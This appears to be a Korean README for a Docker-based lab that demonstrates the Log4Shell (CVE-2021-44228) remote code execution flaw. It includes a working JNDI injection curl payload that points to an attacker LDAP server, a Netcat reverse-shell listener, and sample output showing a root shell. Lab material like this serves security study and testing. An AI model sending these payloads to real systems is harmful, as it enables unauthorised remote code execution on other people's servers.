
Log4Shell 취약점(CVE-2021-44228)을 감사하고 연구하기 위한 Docker 기반의 Plug & Play 자동화 실험실
자동화된 단일 명령 보안 연구실로, Log4Shell (CVE-2021-44228) 원격 코드 실행(RCE) 취약점을 시연하고 감사하도록 설계되었습니다.
이 프로젝트는 Docker Compose를 사용하여 필요한 모든 구성 요소(취약한 애플리케이션, 악성 LDAP 리퍼러 서버, 공격자 도구)를 통합된 격리된 네트워크 인프라로 통합합니다.
.env 파일 편집 또는 네트워크 정렬이 필요하지 않습니다. 모든 것이 Docker 내부 DNS를 통해 자동으로 해결됩니다.UnsupportedClassVersionError 문제를 제거합니다.configurar.sh)에 의해 완전히 제어됩니다.연구실은 세 가지 주요 주체와 함께 격리된 브리지 네트워크(red-log4shell)를 생성합니다:
web-vulnerable): Java 8u111에서 실행되는 완화되지 않은 취약한 버전의 Log4j(2.14.1)를 사용하는 Spring Boot 웹 애플리케이션입니다.ldap-malicioso): marshalsec으로 구동되어 들어오는 조회 요청을 가로채고 피해자를 공격자의 페이로드로 동적으로 리디렉션합니다.kali-tools): 컴파일된 익스플로잇 페이로드(Exploit.class)를 전달하는 Python HTTP 서버와 리버스 셸을 잡기 위한 Netcat 리스너를 호스팅하는 사용자 정의 Kali Linux 컨테이너입니다.Docker가 설치된 모든 Linux 머신에서 이 연구실을 배포하려면 터미널에서 다음 명령을 실행하십시오:
# 1. Clone the repository
git clone https://github.com/MAFO-sec/mi-laboratorio-log4shell.git
# 2. Navigate to the project directory
cd mi-laboratorio-log4shell
# 3. Grant execution permissions to the script manager and launch the lab
chmod +x configurar.sh
./configurar.sh
🚀 익스플로잇 방법 (단계별)
스크립트를 통해 인프라가 자동으로 가동되고 실행되면 다음 단계에 따라 익스플로잇을 트리거하고 리버스 셸을 캡처합니다.
1단계: Netcat 리스너 설정
호스트 머신(Ubuntu)에서 새 터미널을 열고 공격자 컨테이너에 연결하여 들어오는 연결을 위해 Netcat을 대기 모드로 전환합니다:
sudo docker exec -it kali-tools bash
Kali 컨테이너 내부에서 리스너를 시작합니다:
nc -lvnp 4444
다음 메시지가 표시됩니다: listening on [any] 4444 ...
2단계: 공격 벡터 실행
호스트 머신에서 다른 별도의 터미널을 열고 X-Api-Version 헤더에 포함된 악성 JNDI 인젝션 문자열을 전송합니다:
curl http://localhost:8080/ -H 'X-Api-Version: ${jndi:ldap://ldap-malicioso:1389/Exploit}'
3단계: 리버스 셸 확인
Netcat 터미널로 돌아갑니다. 활성 연결이 표시되어야 합니다. 이제 피해자 서버 내에서 root로 명령을 실행할 수 있습니다:
connect to [172.21.0.4] from (UNKNOWN) [172.21.0.2] 57164
whoami
root
이 리포지토리는 교육 목적, 보안 연구 및 승인된 학술 감사를 위해 엄격하게 생성되었습니다. 인프라 소유자의 명시적인 사전 서면 승인 없이는 이러한 도구를 실행하거나 공격 인프라를 사용하지 마십시오.